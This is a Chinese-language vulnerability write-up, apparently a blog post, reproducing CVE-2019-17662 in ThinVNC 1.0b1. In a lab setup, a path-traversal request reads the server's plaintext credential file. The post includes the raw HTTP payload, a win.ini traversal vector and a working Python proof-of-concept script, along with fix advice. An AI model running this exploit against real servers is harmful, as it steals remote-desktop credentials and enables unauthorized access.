zoukankan      html  css  js  c++  java
  • ThinVnc-身份验证绕过(CVE-2019-17662)

    ThinVnc-身份验证绕过(CVE-2019-17662)

    简介

    ThinVNC是一款以网页浏览器为基础设计的远端桌面连接工具,不局限用户端使用那种作业平台,都可以通过采用HTML5为标准的浏览器来达到远端控制。通过利用最新的网络技术如AJAX,WebSockets和HTML5等,ThinVNC提供安全的,高性能的基于web的远程桌面访问。

    影响范围

    ThinVnc 1.0b1

    漏洞成因

    ThinVNC使用基本身份验证对用户进行身份验证以访问Web VNC界面。部署VNC服务器时,将在服务器端设置要使用的凭据。没有运行VNC服务器的固定端口,当尝试使用错误的身份验证凭据进行多重验证时,它将引发HTTP 401错误。可以使用以下向量来绕开它:

    /../../../../../../../../../windows/win.ini
    

    此目录遍历攻击向量使我们可以读取系统上的任何文件。我们可以使用相同的向量来窃取VNC客户端的凭据。窃取它们后,我们可以使用凭据来破坏VNC服务器。妥协后,我们可以通过终端访问VNC服务器。

    修复方法

    (1)禁止存储明文凭证

    (2)切勿使用HTTP进行基本身份验证

    环境搭建

    1、测试环境

    靶机:

    windows 7 x64

    IP:192.168.157.131

    攻击机:
    windows 10 X64
    IP:192.168.1.115

    2、下载ThinVnc 客户端

    3、解压ThinVnc到靶机,无需安装,直接打开exe文件,开启服务即可。

    服务开启后根目录生成配置文件,存储着vnc的明文登录凭证

    漏洞复现

    1、访问http://192.168.157.131:8080/进入vnc登录界面

    2、接下来我们就可以构造payload来读取ThinVnc配置文件,payload如下:

    GET /xyz/../../ThinVnc.ini HTTP/1.1
    Host: 192.168.157.131:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Authorization: Digest username="admin", realm="ThinVNC", nonce="4yTOn+9f5UCoxvEB71/lQA==", uri="/windows/win.ini", response="676e14e9f98fd8147521a329f3e3c6f4", opaque="WRYFjqkyGmRk8RVWldmvJSyiFcL09YpGvw", qop=auth, nc=00000003, cnonce="1ca209d91259e628"
    Connection: close
    Upgrade-Insecure-Requests: 1
    


    3、利用获取的口令,通过vnc直接连接到服务器上去

    4、附POC

    #!/usr/bin/python3
    
    import sys
    import requests
    
    def exploit(host,port):
        url = "http://" + host +":"+port+"/xyz/../../ThinVnc.ini"
        r = requests.get(url)
        body = r.text
        print(body.splitlines()[2])
        print(body.splitlines()[3])
    
    def main():
    
        if(len(sys.argv)!=3):
            print("Usage:
    {} <host> <port>
    ".format(sys.argv[0]))
            print("Example:
    {} 192.168.157.131 8080")
        else:
            port = sys.argv[2]
            host = sys.argv[1]
            exploit(host,port)
    
    if __name__ == '__main__':
        main()
    

    参考链接:

  • 相关阅读:
    python中if __name__ == '__main__': 的解析
    python项目练习地址
    HTTP Response Splitting攻击探究 <转>
    常用操作系统扫描工具介绍
    app兼容性测试的几种方案
    svn自动备份并上传到ftp
    有关交易的性能测试点
    修改文件测试的测试点
    新增文件测试的测试点
    添加附件测试的测试点
  • 原文地址:https://www.cnblogs.com/dddjh/p/11896685.html
Copyright © 2011-2022 走看看